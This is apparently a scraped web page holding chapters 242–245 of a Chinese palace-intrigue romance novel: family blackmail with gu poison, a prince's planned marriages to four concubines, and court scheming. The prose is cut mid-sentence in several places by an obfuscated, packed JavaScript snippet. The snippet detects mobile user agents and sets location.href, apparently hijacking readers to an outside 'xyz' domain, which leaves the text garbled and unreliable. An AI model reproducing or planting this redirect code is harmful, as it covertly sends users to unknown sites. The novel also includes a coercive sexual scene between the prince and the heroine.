35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028516|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伴随着震耳欲聋的机括声,一个巨大的玄铁囚笼从天而降,轰然砸落! 笼底的尖刺深深嵌入石板,激起一圈尘土,将姜天泽死死困在了其中。 直到此刻,他脸上的欣赏才凝固,转为全然的震惊与不可置信。 “你说的没错,三弟。”姜瑶真缓缓踱步到笼前,嘴角勾起冰冷而残忍的笑意,“这地方确实不错,用来困住你,正合适。” “你……!”姜天泽神色骤变,他抓住冰冷的铁栏,“你居然能摆脱蛊虫的控制?” “就凭你这点蛊术,也敢来操控我?”姜瑶真发出一声轻蔑的嗤笑,仿佛在看一个不自量力的跳梁小丑,“你别忘了,我姨娘也是南月人,她早就告诉我破解蛊术的法子。一杯雄黄烈酒,就足以让你引以为傲的手段,变成一个天大的笑话。” 她俯下身,凑近铁笼,笑得满脸算计, “我亲爱的三弟,你猜,你的母亲南月毒师,会用什么来换你这条小命呢?” “谁知道呢?”出乎意料,姜天泽脸上的惊慌迅速褪去。他平静地打量着囚笼,仿佛在欣赏一件有趣的艺术品,随即抬起头,对姜瑶真露出了一个天真而残忍的微笑,“大概,会用二姐姐的姨娘来换吧?” “你说什么?”这下轮到姜瑶真神色骤变了,“我姨娘她……” “二姐姐的姨娘在南朔遭到景王的虐杀,还剩一口气时,被我带了回来。”姜天泽的笑容越发温润,眼底的恶意却几乎要溢出来,“我把她藏得很好,每日用我新配的**喂养她。说起来还要感谢二姐姐,托你的福,她如今已是难得一见的、百毒不侵的‘毒人’了。” “你!”姜瑶真浑身的血液都冲上了头顶,眼中杀意沸腾,转身就欲扑向墙边的夺命机关,“我要杀了你!” “别动。” 姜天泽的声音懒洋洋,却带着不容置疑的命令。 “我忘了告诉你,在她身上我也种了蛊,我一死,她也活不了。” 他好整以暇地看着她,那双清澈的少年眼眸里,此刻满是毒蛇般的冰冷与戏谑, “现在,二姐姐,你还想杀我吗?” 姜瑶真那只伸向机关的手,在半空中僵住了。 滔天的恨意与杀气,仿佛被一只无形的手扼住,瞬间消散得无影无踪,只剩下刺骨的寒意,从脚底一路蔓延到心脏。 她浑身剧烈地颤抖起来。 是她低估了眼前的少年。 他是南月毒师的后代,怎么可能仁慈? 第242章 你没有心! 第二百四十二章你没有心! 姜瑶真浑身颤抖,指甲深深掐进掌心,声音是从齿缝里挤出来的: “放了我姨娘!否则,我杀了你母亲!” 笼中的姜天泽眉梢眼角满是讥诮,轻蔑地嗤笑一声。 “二姐姐,你未免太高看自己了。先不说你有没有本事动我母亲分毫,光是此刻,你除了能杀掉我这个笼中之人,还能做什么?而我**,你姨娘立刻陪葬。这笔买卖,怎么算都是你亏。” 他冰冷的话语如同一盆兜头浇下的冰水,让姜瑶真沸腾的怒火瞬间凝固。 他说的没错。 杀了他,姨娘也活不成。 想取南月毒师的命,更是自寻死路。 这对母子,只可施恩笼络,万不可与之为敌。 她将恨意强压回心底,敛去所有外露的情绪,声音平静得可怕: “说吧。你的条件是什么?要我做什么,才肯放了我姨娘。” “条件?”姜天泽懒洋洋地靠在铁栏上,用审视的目光打量着她,“凭二姐姐现在这副丧家之犬的模样,又能给我什么?我要的东西,你给不起。” “你怎么知道本宫给不起?本宫劝你不要为了荣华富贵和仕途攀附景王,否则,以他阴狠毒辣的性子,你将来**的都不知道!”姜瑶真吓唬道。 姜天泽唇角勾起一丝冷笑:“我想要的不是仕途,也不是荣华富贵。我想要的,是让大姐姐脱离景王的掌控,重获自由。” 姜瑶真眼中闪过一丝讶异,随即化为阴沉。 “那你怎么不把蛊下在景王身上?虽然大理寺没有证据,但是个人都知道,新帝登基那日,就是景王劫走了姐姐!只要控制了景王,你还怕姐姐得不到自由?” “我试过,那个男人警惕性太高,我的蛊术在他面前根本派不上用场,还险些被他废了一只手!”说起这事,姜天泽还有些心有余悸。 “你对他束手无策,就转头来对我下蛊?”姜瑶真冷笑一声,“姜天泽,你还真是好样的!” 她缓缓凑近囚笼,声音冰冷: “我倒是有个法子能对付得了景王,只要你配合我,我保证姜姝宁很快就能摆脱那个阴狠毒辣的男人,重获自由!” 姜天泽的瞳孔骤然一缩,狐疑地盯着她:“我凭什么信你?你恨不得大姐姐**!” “因为你别无选择!”姜瑶真迎上他的目光,字字如刀,“你信不过我,难道就信得过景王吗?他那样的人,怎会善待落入他手中的猎物?扳倒他,我夫君能得天下,而你,能救回你的大姐姐。我们各取所需。” 姜天泽神色晦暗不明。 良久,他缓缓开口,声音里不带一丝温度: “好,我与你合作。但你记清楚,只要你敢对大姐姐有半分不利,我保证,你会死得比任何人都痛苦。” 姜瑶真:“……” 虽然他同意和自己合作,但他说出来的话着实让她高兴不起来! —— 不知是谁刻意为之,景王即将迎娶四大门阀贵女为侧妃的消息,如同一阵风,一夜之间吹遍了京城的大街小巷。 前来道贺的马车几乎要踏破景王府的门槛,整个府邸都洋溢着过犹不及的热闹。 凌芜竭力想要**息,可那些下人兴奋的议论声,却总能穿过庭院的枝叶,零零碎碎地飘进姜姝宁的耳中。 “听说了吗?王爷要迎娶四位侧妃娘娘了!她们个个都是门阀中最金贵的嫡女,这才是配得上咱们王爷的身份!” “可不是嘛!王爷英武不凡,权倾朝野,那些贵女能嫁进来,是她们的福气!” “以后这府里可就热闹了,真想快点见见未来的主子们……” 欢快的议论声像一根根细密的针,无孔不入。 姜姝宁想忽略都难。 凌芜终于按捺不住,冲出去将那几个嚼舌根的婢女狠狠训斥了一顿,下人们这才作鸟兽散。 她忧心忡忡地回到廊下,见姜姝宁正静静地坐在窗边,手中捧着一卷书,目光却落在虚空中的某一点,不知在想些什么。 “王妃……”凌芜小心翼翼开口,“您别听她们胡说,奴婢这就去禀告王爷,让他严惩这些碎嘴的奴才!” “她们说的,本就是事实,何必为难她们?” 姜姝宁缓缓将目光收回,神色平静得像一汪不起波澜的古井。 她放下书卷,随口问道: “前几日让你从相府取回来的花种可还在?” “在的。”凌芜连忙应道。 “陪我一起种下吧。”姜姝宁站起身,唇边漾开一抹极淡的笑意,淡得仿佛一触即碎,“这院子太空旷冷清了,添些花草,或许能多几分生气。” “是,王妃。”凌芜低头应下。 她总觉得王妃在庭院里种花的身影格外孤寂。 被迫困在这景王府里已经够可怜的了,若还不能得到王爷全部的宠爱,日子得多苦啊? 不行,她得帮王妃! 想到这,凌芜寻了个机会,去萧凌川的书房里禀告此事。 “王爷!”她屈膝行礼,声音里带着压不住的愤懑,“府中下人嚼舌根,竟敢在王妃面前议论您迎娶侧妃之事,还请王爷做主,惩戒这些不懂事的下人!” 萧凌川正批阅着公文,闻言,手中朱笔倏然一顿。 他抬起头,身体下意识前倾,目光灼灼地看着她,追问道:“王妃听到这些,作何反应?” “王妃她……”凌芜被他这反应弄得一愣,如实回道,“王妃没说什么,只让奴婢陪她去院里种花。” “种花?” 萧凌川脸上浮起肉眼可见的失落。 半晌,他才从齿缝里挤出一句满是挫败的话: “本王费尽心机,搅得满城风雨,她……就只想着去种她的花?难道她心里,当真连一丝一毫的醋意也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028517|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 凌芜一怔。 难怪那些下人胆子那么大,竟敢在背后妄议主子。 原来是王爷让他们这么做的! 她看着眼前这位权倾朝野、杀伐果决的景王,此刻竟像个既委屈又不甘心的孩子,心中五味杂陈。 王爷为了让王妃吃醋,竟如此煞费苦心,未免太……幼稚了些! 夜晚,萧凌川踏入寝殿时,看到的是姜姝宁垂眸看医书,神情专注的恬静模样。 仿佛这满城风雨的赐婚旨意,于她而言,不过是窗外吹过的一缕无关紧要的风。 只有足够不在乎,才能做到如此云淡风轻。 意识到这一点,滔天的酸涩与不甘几乎要将他淹没。 他沉着脸在她身侧坐下,神色带着一丝不易察觉的紧绷,刻意问:“本王以为,王妃会有话要问我。” 姜姝宁抬眸,目光清澈,仿佛真的思忖了片刻,才缓缓点头:“确有一事。” 萧凌川心中那团死灰倏然复燃,他略带急切地追问:“王妃想问什么?” “王爷,不知孙神医近来可有空闲?”她问道,语气认真诚恳,“我近日研读医书,有几处关节颇为不解,若能得他当面指点一二,定能茅塞顿开。” “……” 萧凌川满腔的期待,瞬间被一盆冰水浇得透心凉。 他死死地盯着她,像是要从她那张平静无波的脸上,硬生生剜出一个破绽来。 “本王即将迎娶四位侧妃,轰动京城,难道你……”他一字一顿,声音是从齿缝里挤出来的,“一点也不难过?” 察觉到他汹涌的怒意,姜姝宁终于放下了书卷,定定地看着他,那双漂亮的眼眸里带着淡淡的困惑。 “王爷即将迎娶四位名门贵女,这是天大的喜事。她们能成为王爷的左膀右臂,助您早日问鼎天下,我为王爷高兴还来不及,又怎会难过?” “你……”萧凌川气血翻涌,胸口剧烈起伏,最终所有的质问都化作一句咬牙切齿的控诉,“姜姝宁,你果真没有心!” 他霍然起身,带着一身怒火宽衣解带,重重躺回床上,背对着她。 姜姝宁看着他僵硬的背影,唇角逸出一抹无人察觉的苦笑。 那颗爱慕他心,早在前世随着她的死去一同被碾碎成尘了。 是他一直不愿接受这个事实,固执地想将前世弃之敝履的东西找回来罢了。 人终其一生,都在为遥不可及之物神魂颠倒,却对自己所拥有的视而不见。 何其可笑。 见她依旧是那副波澜不惊的模样,继续看着手中的医术,萧凌川胸中那股无处宣泄的郁火被彻底点燃。 他猛地翻身下床,只着一身中衣便大步流星地冲到她面前,不由分说地将她拦腰抱起,大步走向床榻,动作粗暴得不带半分温存。 他滚烫的呼吸喷在她的耳畔:“既然王妃没有心,那便侍寝吧!” 第243章 等待猎人的宣判 第二百四十三章等待猎人的宣判 他重重地吻她,像是要将她拆骨入腹一般。 手带着同样的暴戾,粗暴地撕开了她层叠的衣襟,滚烫的掌心覆上那片他渴望已久、却始终克制着未曾染指的细腻。 他想起自己这段时日的克制,突然觉得可笑无比。 他竟然还妄想用耐心去焐热一块冰! 怀中的人,不挣扎,不反抗,甚至连一丝象征性的战栗都吝于给予,任由他肆意妄为。 这死水般的沉寂,彻底击溃了萧凌川最后的理智。 “姜姝宁!” 他埋首于她的颈窝,惩罚般地落下细密的啃噬,滚烫的呼吸混杂着失控的低吼,“你就这么不在乎?” 他要用最原始、最野蛮的方式,在她身上烙下独属于他的印记。 即使她的心不在他这里,她的人,也只能属于他一个人! 指尖辗转撩拨,在她的腿间肆虐,很快便沾染上粘稠的湿意。 帐中暗香浮动,一室旖旎。 就在他扣住她的脚踝,准备闯入禁地时,抬眸撞进她空洞的眼眸里。 她像只被猎人捕获的幼鹿,放弃了所有挣扎,静静地等待着猎人的宣判。 似乎早该料到,会有今日这个下场。 被他肆意掠夺,侵占甚至凌辱,于她而言,不过是最寻常不过的事情了。 萧凌川怔怔地看着她,脑海中不合时宜地浮现出前世她在床榻间哭泣求饶的画面。 一种难以言喻的自我厌恶感深深摄住了他。 前世他在床榻间就从未温柔过,难道今生也要枕着她的抽泣声入睡吗? 他深吸一口气,强压下沸腾的欲望,起身拉起床边的锦被盖在她寸缕未着的身子上,随即翻身下床。 随着他的离开,燥热的气息消散,寝殿里竟有些冷。 姜姝宁半晌才反应过来,有些难以置信地看着他离去的背影。 这还是头一次她在他欲念勃发的时候全身而退。 他这是……放过自己了? 她起身穿衣服,身上残留的大片暧昧痕迹让她有种莫名恍惚。 有丝虎口逃生、劫后余生的庆幸。 大约半盏茶的功夫,萧凌川回来了。 他掀开被子,一股寒气瞬间席卷而来,仿佛裹挟着冬夜的风雪,瞬间驱散了寝殿内残存的暧昧气息。 姜姝宁蜷缩在被子里,一动不动,紧闭双眼,佯装睡着。 他的靠近,让她本能地感到恐惧,如同惊弓之鸟,即使逃过一劫,仍然心有余悸。 萧凌川似乎察觉到了她的僵硬,他沉默了片刻,低沉的声音在寂静的寝殿内响起:“睡吧,本王乏了。” 姜姝宁这才吐出一口气,紧绷的身体放松了一些。 她不知道猛兽会仁慈多久,但今夜至少是安全的。 她不知道,在她看不见的地方,萧凌川眼尾潮红,在昏暗的烛光下,如同凝固的血泪。 她那颗曾经深爱他的心,怕是再也找不回来了。 —— 第二日午后,姜天泽带着姜瑶真,踏入了景王府的书房。 “王爷……”姜天泽迎上萧凌川那双深不见底的锐利眼眸,心头一凛,连忙改口,“……姐夫。虎符,拿到了。” 他双手奉上那枚玄铁虎符。 萧凌川接过,指腹缓缓摩挲着上面狰狞的猛虎图腾,并未立刻看向虎符,目光反而像淬了冰的利刃,缓缓落在了姜瑶真空洞的脸上。 “看来,这南月的蛊虫,果然名不虚传。”他语气平淡,听不出喜怒。 姜天泽心头一紧,生怕他看出端倪,忙不迭道:“此物是在瑞王府密室寻得的,二姐姐费了九牛二虎之力才找出来的,实属不易。” “甚好。”萧凌川终于垂眸,满意地看着手中的虎符,随即将其随意地置于桌案,仿佛那足以搅动风云的兵权,不过是个寻常摆件。 他端起茶盏,慢条斯理地吹了吹热气,“没什么事,你们可以回了。” 这过河拆桥的姿态让姜天泽血气上涌,他强压怒火,追问道:“姐夫,瑞王在西榆的私兵……您打算何时收入囊中?” “不急。”萧凌川轻啜一口茶,眼皮都未抬一下,用一种近乎闲聊的慵懒语气,丢下一句惊雷,“本王打算,先将四大门阀的嫡女迎入府中。届时五喜临门,岂不美哉?” “你说什么?!”姜天泽猛地抬头,眼中满是难以置信,“你要娶侧妃?!大姐姐呢!你将大姐姐置于何地?!” 萧凌川唇角勾起一抹凉薄的讥诮:“她说她高兴还来不及。” “不可能!”姜天泽的声音因愤怒而颤抖,“我要见她,当面问清楚!你曾答应过我,只要拿到虎符,便准我随时见她!” 萧凌川看着他这副被激怒的模样,眼中非但没有怒意,反而闪过一丝玩味的兴致。 没想到第一个反对他娶侧妃的,竟是这名义上的小舅子。 他放下茶盏,发出一声清脆的轻响,淡淡地对一旁的凌风吩咐道:“带姜二公子去见王妃。” “是,王爷。” 凌风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034604|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前,对姜天泽做出“请”的手势,而萧凌川则再也没看他一眼,重新拿起了那枚冰冷的虎符,细细把玩。 凌风很快便将姜天泽带到后院。 姜姝宁正跪坐在花圃前,细心地侍弄着一丛不知名的花草。 听到脚步声,她抬起头,看到来人时,脸上漾开一抹恬淡的笑意:“天泽,你来了。” 一见到姜天泽的身影,凌芜的目光倏然收紧,几乎是下意识地上前一步,不动声色地跟在王妃身旁。 自从知晓此人并非姜家血脉,他过往种种亲昵的举动,在凌芜眼里便都有了新的、令人作呕的解释。 这根本不是弟弟对姐姐的孺慕,而是男人对女人的觊觎! 她暗自懊悔,是自己失职,竟让这头披着羊皮的狼,在王妃身边徘徊了这么久!“大姐姐,景王要娶侧妃了,你可知道?” 姜姝宁一愣,随即点了点头:“知道的。” “大姐姐,他这般三妻四妾,根本不值得托付终身,大姐姐千万不要嫁给他!”姜天泽愤愤道,“还以为景王会是个始终专一之人,没想到也是朝三暮四,天泽实在替大姐姐感到不值!” 姜姝宁苦笑:“我如今这种处境,怕是由不得我。” 见她这幅模样,姜天泽心疼不已,一把将她抱住:“大姐姐,你再忍耐一段时日,天泽一定想办法让你恢复自由!” 见他抱着姜姝宁,凌芜连忙疾步上前,一把将姜天泽狠狠推开! “三少爷,请自重!”凌芜挡在姜姝宁身前,眼神冰冷如刀,“王妃乃千金之躯,岂容你这般冒犯!” 姜天泽踉跄一步,怒视着她:“我抱我姐姐,与你何干?!” “那也不行!” 凌芜狠狠白了他一眼:你是不是把王妃当成姐姐,你自己心里有数! 姜天泽还想说什么,姜姝宁拍了拍他的手:“你先回去吧,不必担心我。” 他只能带着满腔的不甘,转身离开。 回程的马车上,气氛压抑得可怕。 姜瑶真打破了沉默,声音淬着冰:“四大门阀的嫡女为侧妃……这可是历代只有天子才有的殊荣!萧凌川这司马昭之心,已是路人皆知了。” 姜天泽双拳紧握,指节泛白,从牙缝里挤出声音:“那又如何?四个庸脂俗粉,也抵不过我姐姐一根头发!” “你在说什么鬼话?相府嫡女身份再尊贵,也无法跟四大门阀的贵女相比!不行,不能让他再这样耀武扬威下去!”姜瑶真咬牙切齿,“得尽快让他去西榆,那里才能埋葬他的野心!” 第244章 相互猜忌,暗流涌动 第二百四十四章相互猜忌,暗流涌动 景王即将迎娶四大门阀的嫡女一事被传得沸沸扬扬。 不过两日,四大门阀的族长便齐聚御前,愤愤地来到御书房找萧政贤。 “陛下!我等是答应了联姻,可没答应拿家族的颜面去给他萧凌川铺路!” “让嫡女为侧妃,这是对我等百年清誉的践踏!陛下,我朝可有这样的先例?” “他一个血统不纯的王爷,哪来的底气,敢觊觎这份只有天子才配拥有的尊荣?简直是狂妄至极,目无君上!” 萧政贤被问得哑口无言,好不容易安抚了门阀世家,随即便沉声对内侍下令:“传旨,让景王来见朕!” 御书房内,檀香袅袅,气氛却冰冷如霜。 萧政贤死死盯着阶下那个从容不迫的身影,怒火几乎要从眼中喷出。 “萧凌川!你真是好大的胆子,竟敢到处散播消息,说要迎娶门阀嫡女为侧妃!” 面对皇帝的雷霆之怒,萧凌川眼皮都未抬一下,语气平淡得近乎无礼:“陛下息怒。臣不过是遵从了您的圣意而已。” “圣意?”萧政贤怒极反笑,“朕是让你和门阀联姻,不是让你去羞辱他们!嫡女为侧妃,亏你想得出来!你将四大门阀的脸面置于何地?又将朕的颜面置于何地?!” “哦?”萧凌川终于抬眸,那双深邃的眼中掠过一抹极淡的讥诮,“原来在陛下眼中,臣竟只配迎娶身份低微的庶女么? 既然陛下认为臣德不配位,担不起这份恩宠,那就请陛下收回赐婚的圣旨吧!” “放肆!朕金口玉言,圣旨已下,岂有收回的道理?!” “那臣便只能等四大门阀改变心意,将他们的嫡女嫁给臣了。”萧凌川唇角勾起嘲讽的笑意,“无妨,臣有的是耐心!” “你……”萧政贤被他这番话堵得胸口发闷,一时竟语塞。 萧凌川却仿佛没有看见他铁青的脸色,施施然一拱手:“陛下若无他事,臣便先行告退了。” 说完,他转身便走,留给萧政贤一个决绝而孤傲的背影,以及一室死寂的沉默。 龙案之上,那方被萧政贤紧握的玉玺,硌得他掌心生疼。 当萧怀瑾被召入御书房时,一眼便看穿了皇帝眉宇间的焦躁。 “他这一招,叫‘以退为进’。”萧怀瑾未等皇帝开口,便一语道破天机,声音里带着一丝冷意,“用一道无人能解的难题,将我们和四大门阀,一并架在火上烤。我们若逼他娶庶女,便是自降皇恩,贻笑大方;若就此罢休,更是让他得逞。” 萧政贤脸色铁青:“那依你之见,难道真要将门阀嫡女送入他府中,成为他的助力吗?” “助力?”萧怀瑾唇角勾起一抹意味深长的笑,“皇兄,那不是助力,那是四座四把悬在他头顶的利剑。” 见萧政贤面露不解,他从容不迫地解释道,“四哥生性多疑,他岂会真心接纳这四个门阀之女?这些贵女们入了王府,非但得不到他的心,反而会因彼此的家世相互争斗。一群失了夫君宠爱、又彼此为敌的怨妇,最终能依靠谁,能效忠谁? 更何况,皇兄莫忘了,景王府里还藏着姜姑娘。有她在,萧凌川的痴情便是那些嫡女们永远越不过去的高墙。届时,我们只需稍加施恩,这四位景王侧妃,便会成为我们最忠实的耳目。” 萧政贤眼中的疑虑终于缓缓散去,取而代之的是一丝恍然与狠厉。 但他仍有最后一丝顾虑:“可……那群门阀,岂会甘心让自己的嫡女去受这份委屈?” “皇兄只需静候佳音。”萧怀瑾原本温润的眸子变得笃定而幽深,“臣弟自有办法,让他们主动让家族嫡女和景王联姻。” “好。此事,朕便全权交予你了。”萧政贤定定地看着他,眼神意味深长,“五弟,你该知道,这满朝文武,这几个兄弟,朕唯一能信的……只剩你了。” 这句话像一座沉甸甸的枷锁,落在了萧怀瑾的肩上。 他深深叩首,将脸上所有的情绪尽数掩去,声音沉稳而恭敬:“臣弟,万死不辞。” 然而,当他抬起头时,那双素来温润的眸子深处,却藏着一丝不可言喻的晦暗。 他所做的一切,并非只为了皇兄和江山社稷。 他的棋盘上,自始至终,都只有一个人——姜姝宁。 那即将被送入景王府的四位嫡女,便是四面映出他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034605|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄情寡义的镜子。 他要让姜姝宁看清那个男人的真面目,然后心甘情愿离开景王府。 所以,他定要推动萧凌川迎娶侧妃一事,哪怕是帮他成功娶到门阀的嫡女! 萧怀瑾离开皇宫后,径直去了崔家。 他并未直接面见二舅崔二爷,而是先找到了崔家二房那位不受宠的长嫡女——崔芝兰。 一番密谈后,崔芝兰眼中闪过一丝决然。 翌日,崔二爷便主动入宫,向皇帝请旨,将崔芝兰嫁给景王为侧妃。 皇帝萧政贤对这突如其来的“惊喜”虽感意外,却也乐见其成,当即应允。 消息一出,其余三大门阀顿时炸开了锅。 “崔家这是打的什么算盘?竟然主动将嫡女嫁入景王府?”王家家主勃然大怒,“莫非他们已经暗中投靠了景王?!” “此事有蹊跷。”霍家家家主沉吟道,“新帝登基不久,根基未稳,这景王来势汹汹,崔家此举,莫非是在押宝?” 赵家家主则更为谨慎:“莫要忘了,景王身负南月血统,朝中对他颇有微词。崔家此举,究竟是雪中送炭,还是火中取栗,尚未可知。” 门阀之间互相猜忌,暗流涌动。 没想到,第二个主动提出将嫡女嫁给景王的,竟是瑞王萧修湛的母族——王家。 萧修湛断臂之后,王家在朝中的地位一落千丈,此举无疑是想在乱局之中寻找新的靠山。 他们盘算着,若景王最终问鼎,他们便可借嫡女侧妃的身份飞黄腾达;即便景王败北,嫡女也能成为他们在新帝面前表忠心的道具。 王家此举,一石激起千层浪,其余两家,愈发按捺不住。 霍家、赵家眼见其余两家已经行动,生怕错失良机,被排除在权力中心之外,也只得咬牙同意,将自家嫡女嫁进景王府。 宫中,萧政贤得知四大门阀尽数同意,龙颜大悦,对萧怀瑾赞赏道:“还是五弟有办法,这下景王再也找不到推脱的理由了!” 萧怀瑾并未回应皇帝的赞许,只是静静地望向窗外,眸光深邃难测。 姜姑娘,萧凌川就要娶别的女子了,你也该对他彻底死心了吧? 第245章 毫不掩饰的野心 第二百四十五章毫不掩饰的野心 临近年关,大雪纷飞。 景王府内,姜姝宁正侍弄着一盆不知名的花草,青色和紫色的叶子,看着倒是生机盎然。 萧凌川悄无声息地走到她身后,将她轻轻圈入怀中。 他将下巴埋在她的脖颈处,深深吸了一口气。 无论前世今生,他都爱煞了她身上特有的馨香。 那是刀光剑影岁月里,唯一能让他安心的气息。 “姝宁,本王要娶侧妃了。”他的声音低沉,辩不出喜怒。 姜姝宁心口一滞,目光落在窗外纷飞的大雪上。 她在考虑说什么话,才不会被他误会自己在意此事,又不至于激怒他。 片刻后,她状似随意地问道:“那王爷,打算将我安置在哪里?” 萧凌川的双臂收紧了几分,似乎在试探她的反应。 他等了一会儿,才用宠溺的语气道:“你哪儿也不去,还是留在景王府。即便四个侧妃都嫁进来了,本王也能护得住你。” 他的语气笃定,似乎并不将那四个即将到来的王府女主人放在眼里。 姜姝宁垂下眼帘,掩饰住眼底复杂的情绪,轻声道:“可我毕竟是……逃犯啊。” 萧凌川嗤笑一声,语气中带着一丝霸道:“在本王的府里,谁敢视你为逃犯?” 姜姝宁听明白了,他准备给她换一个身份,继续留在府里。 至于是什么身份,大抵要看他的喜好。 可以是任何身份,却唯独不可能是他明媒正娶的妻。 毕竟,王妃之位,需得皇家玉牒记名,昭告天下。 而她,不过是个见不得光的逃犯罢了。 “不高兴了?”萧凌川的薄唇几乎贴着她的耳廓,灼热的气息拂过,带着入骨的亲昵,“是对本王的安排不满,还是……吃醋了?” 最后三个字,他尾音微微上挑,幽深的黑眸紧锁着她,像是在期待她能为他展露一丝一毫的失控。 姜姝宁的心跳漏了一拍。 她巧妙地避开了那个充满了陷阱的问题,语气里带着恰到好处的忧虑:“她们毕竟是四大门阀的嫡女,身份尊贵。从前在宫宴上,也曾与我有过数面之缘。若她们将来认出我,将我藏身王府的事宣扬出去……” 萧凌川发出一声低沉的嗤笑,语气是全然不屑的张狂:“本王将你藏于府中一事,早就人尽皆知了。可那又如何?谁敢踏入本王的府邸搜人?” 姜姝宁想起那日萧怀瑾带亲卫来景王府搜人,最终无功而返的场景。 这世上,心知肚明与铁证如山之间,隔着一道名为“王权”的天堑。 只要无人能将证据摆在明面上,这座景王府就是谁也无法踏足的铜墙铁壁。 这便是他敢将她藏于府中的底气。 姜姝宁沉默了片刻,似乎是接受了这个说法,才轻声问道:“那王爷……何时迎娶侧妃?” 他似有些不愿提起此事,冷声道:“下个月。” 那么迫不及待地想让门阀之女嫁入景王府,这当中除了皇帝,肯定少不了萧怀瑾的手笔。 以为让他迎娶四个侧妃便能离间他和姜姝宁的关系吗? 天真! 听到他的回答,姜姝宁笑了。 她侧过脸,仰头看向他轮廓分明的下颌。 “那还好,”她轻声说,“今年陪王爷守岁的,还是我。” 这句看似平淡的话却让萧凌川心头掀起轩然大波。 小时候,他最怕的便是除夕。 宫墙外是震耳的喧嚣与烟火,冷宫内,却只有刺骨的寒风与死寂。 当别的皇子与嫔妃在温暖的宫殿里享受天伦之乐时,无人会记得,被遗忘在冷宫里的他,是否能挨过这个又冷又饿的夜晚。 这种对除夕的恐惧,一直到前世姜姝宁嫁给他之后才消失。 她还会陪他守岁,在府里彻夜点祈福灯,为他准备热气腾腾的羊肉汤,让他过一个温暖舒适的除夕之夜。 可她死后,那盏灯灭了,热汤也凉了。 除夕夜重新变回了那座冰冷的囚笼,他又变回了那个在漫天风雪里,孤身一人的冷宫皇子。 原来,他怕的从来不是除夕,而是身边没有她。 “是,今年我们能一起守岁了。”萧凌川声音低哑,带着一丝罕见的柔情,“届时本王将姜丞相和姜夫人请来府里,与你一起过,如何?” “真的?”姜姝宁眸光骤亮,脸上绽开一抹纯粹的笑意,语气里透着欣喜,“谢王爷!” 那明媚的笑靥下,眼底却闪过一抹晦暗。 太好了,总算能见到父亲母亲了。 到时候,她便能将自己的逃亡计划告诉他们了。 大理寺地牢是囚笼,景王府又何尝不是呢? 萧凌川没有食言。 除夕夜,景王府张灯结彩,驱散了笼罩京城的冬夜寒气。 前厅暖炉烧得正旺,一桌丰盛的团圆饭,热气氤氲。 当姜姝宁来到前厅时,一眼便看到了坐在主位旁的父母。 姜丞相与姜夫人,一别数月,竟像是苍老了十岁。 姜姝宁不由眼眶酸胀:“父亲,母亲!” “宁儿!”姜夫人站起身,眼眶通红。 她快步走到姜姝宁面前,颤抖着手抚上她的脸颊,“我的宁儿,你……瘦了。” 自从女儿被关入大理寺天牢,他们夫妻二人日夜煎熬,食不知味,寝不安席。 如今能再见女儿平安无事地站在面前,饶是见惯风浪的姜丞相,此刻也忍不住红了眼眶,声音哽咽:“回来就好,回来就好。” 姜姝宁鼻尖一酸,强忍着泪意,握住母亲冰冷的手:“爹,娘,女儿不孝,让你们担心了。” “傻孩子,没事就好。”姜夫人将她搂进怀里,泪水再也忍不住,打湿了她的肩头。 一旁的姜天泽也走了过来,欲上前拥抱姜姝宁,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045669|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因萧凌川冷峻刺骨的目光,始终不敢碰她。 